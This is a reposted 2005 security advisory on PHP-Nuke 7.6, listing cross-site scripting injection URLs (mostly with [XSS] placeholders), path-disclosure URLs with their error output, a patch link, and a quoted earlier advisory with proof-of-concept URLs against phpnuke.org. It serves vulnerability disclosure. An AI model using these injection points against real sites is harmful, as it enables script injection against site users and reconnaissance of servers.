[转载]PhpNuke 7.6=>x多个安全漏洞
文章作者：Maksymilian Arciemowicz- --- 0. For ---
This adv. is only for John Poul II, Polish Pope.
Peace!
- --- 1.Description ---
PHP-Nuke is a Web Portal System, storytelling software, news system, online community
or whatever you want to call it. Its goal is to have an automated web site to
distribute news and articles with user system. Each user can submit comments to
discuss the articles, similar to Slashdot and many others. Features: web admin,
polls/surveys with comment, statistics, user customizable box, themes manager,
friendly admin GUI, moderation system, sections manager, banner system, backend/headlines
generation, Yahoo like search engine, Ephemerids manager, file manager,
download manager, faq manager, advanced blocks system, reviews system, newsletter,
content management, encyclopedia generator, md5 password encryption, phpBB
Forums integration, support for 25 languages, 100% modular and more. Written 100%
in PHP and requires Apache, PHP and a SQL Database Server. Supports MySQL, PostgreSQL,
Adabas, mSQL and many others.
- --- 2. XSS ---
2.0
http://[HOST]/[DIR]/banners.php?op=EmailStats&name=sex&bid=[XSS]
2.1
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num
2.2
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num
2.3
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]
2.4
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]
2.5
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]
2.6
http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS]
2.7
http://[HOST]/[DIR]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS]
- --- 3. Path Disclousure ---
3.0
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments
Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in /www/phpnuke/76/html/modules/Surveys/comments.php
on line 99
- ---------------
3.1
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments&op=showreply
Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in /www/phpnuke/76/html/modules/Surveys/comments.php
on line 99
- ---------------
3.2
http://[HOST]/[DIR]/modules.php?name=Surveys&file=comments&op=DisplayTopic
Error message :
- ---------------
Fatal error: Call to undefined function OpenTable() in /www/phpnuke/76/html/modules/Surveys/comments.php
on line 99
- ---------------
3.3
http://[HOST]/[DIR]/themes/3D-Fantasy/theme.php
Error message :
- ---------------
Warning: main(themes/3D-Fantasy/tables.php) [function.main]: failed to open stream:
No such file or directory in /www/phpnuke/76/html/themes/3D-Fantasy/theme.php
on line 41
Warning: main() [function.include]: Failed opening 'themes/3D-Fantasy/tables.php'
for inclusion (include_path='.:') in /www/phpnuke/76/html/themes/3D-Fantasy/theme.php
on line 41
- ---------------
- --- 4. How to fix ---
Because phpnuke don't have security contact, you can download my patch from securityreason.com
[url]http://securityreason.com/patch/PhpNuke-7.6-adv.by.cXIb8O3.12-patch.tar.gz[/url] On Thu, 24 Mar 2005 18:35:23 +0000, Ali 7 <[email]ali7@hotmail.co.uk[/email]> wrote:
>
> ------------------------------------------------------------------------
> # PHP-Nuke 7.x Full path disclosure vuln.
> # By : Ali7 *// Bug discovered by BlackScorpion
> # e-mail : [email]ali7@hotmail.co.uk[/email]
> # date : 14-11-2k4
> # greetz : BlackScorpion , AlkaeN , m0rinex
>
>
> >Target : PHP-Nuke 7.x
> >URL : [url]http://phpnuke.org[/url]
> >Type : CMS (content management system)
> ..
>
> >>PoC Sample :
> [url]http://phpnuke.org/modules.php?name=Downloads&d_op=search&query=[/url][
> [url]http://phpnuke.org/modules.php?name=Downloads&d_op=search&query=[/url](
>
> &...here's the path :P
> /home/virtual/site6/fst/var/www/html/modules/Downloads/index.php
>
> >>Fixin'9 & Further Info :
> [url]http://www.s4a.cc/forum/showthread.php?t=1380[/url]
页:
[1]